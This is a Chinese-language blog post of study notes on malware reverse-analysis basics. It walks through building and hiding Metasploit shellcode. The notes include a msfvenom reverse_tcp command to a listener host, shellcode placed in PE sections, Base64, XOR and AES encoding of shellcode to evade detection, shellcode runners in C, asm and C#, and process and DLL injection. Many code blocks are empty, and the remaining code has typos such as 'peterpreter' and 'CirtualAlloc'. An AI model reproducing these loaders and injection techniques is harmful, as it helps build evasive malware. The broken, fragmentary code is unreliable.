恶意代码逆向分析基础详解读书笔记
恶意代码逆向分析基础详解读书笔记
生成执行shellcode
MsfVenom
1 | msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f c #C语言版 |
执行PE节中shellcode
scdbg
1 | scdbg.exe /f *.* #分析二进制文件*.*调用的WindowsAPI函数 |
.text节区
1 |
|
.data节区
将shellcode定义到函数外部即可。
.rsrc节区
msfconsole生成shellcode:
1 | use payload/Windows/messagebox |
新建resources.rc,内容如下:
1 |
|
头文件resources.h内容如下:
1 |
使用rc.exe生成resources.res:
1 | rc resources.rcs |
将resources.res转为resources.o:
1 | cvtres /MACHINE:x64 /OUT:resources.o resources.res |
执行.rsrc节区shellcode的PErsrc.cpp代码:
1 |
|
用cl.exe编译链接:
1 | cl.exe /nologo /Ox /MT /W0 /GS - /DNDebug /TcPErsrc.cpp /link /OUT:PErsrc.exe /SUBSYSTEM: CONSOLE /MACHINE:x64 resources.o |
Base64编码的shellcode
用msf生成二进制shellcode,保存到notepad.bin中。使用certutil对文件内容进行Base64编码。
1 | certutil -encode notepad.bin notepad.b64 |
执行Base64编码shellcode的源代码:
1 |
|
XOR加密的shellcode
XOR加密程序:
1 | import sys |
执行shellcode:
1 |
|
AES加密的shellcode
AES加密程序:
1 | import sys |
执行shellcode:
1 |
|
shellcode runner
法一:见.text节区
法二:
1
2
3
4
5
6
7
8
9
10
int main(){
const char shellcode[]=
"\xfc..."
"...";
((void(*)())shellcode)();
return 0;
};法三:
1
2
3
4
5
6
7
8
9
unsigned char shellcode[]="...";//shellcode
void main(void){
__asm{
lea eax,shellcode;//或mov eax,offset shellcode;
jmp eax;
};
};法四(C#):
msfconsole生成C#类型shellcode:
1
2
3
4set payload/Windows/exec
set CMD mspaint.exe
set EXITFUNC thread
generate -f csharpshellcode执行代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25using System;
using System.Collection.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1{
class Program{
[ ]
static extern IntPtr VirtualAlloc(intPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);
[ ]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId);
[ ]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);
static void Main(string[]args){
Byte[] shellcode=new Byte[]{0xfc,...};
int size=shellcode.Length;
IntPtr addr=CirtualAlloc(IntPtr.Zero,0x1000,0x3000,0x40);
Marshal.Copy(shellcode,0,addr,size);
IntPtr hThread=CreateThread(intPtr.Zero,0,addr,IntPtr.Zero,0,IntPtr.Zero);
WaitForSingleObject(hThread,0xffffffff);
}
}
}
Win32 API函数名XOR混淆
解决方法:在GetProcAddress处下断点,第二个参数rdx传参,得真函数名。
1 |
|
进程注入shellcode
1 |
|
DLL注入shellcode
DLL编译信息文件mspaintDLL.def:
1 | LIBRARY "mspaintDLL" |
DLL源代码mspaintDLL.cpp:
1 |
|
用cl.exe编译:
1 | cl.exe /O2 /D_USRDLL /D_WINDLL mspaintDLL.cpp mspaintDLL.def /MT /link /DLL /OUT:mspaintDLL.dll |
实现DLL注入:
1 |
|
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 The Blog of Monoceros406!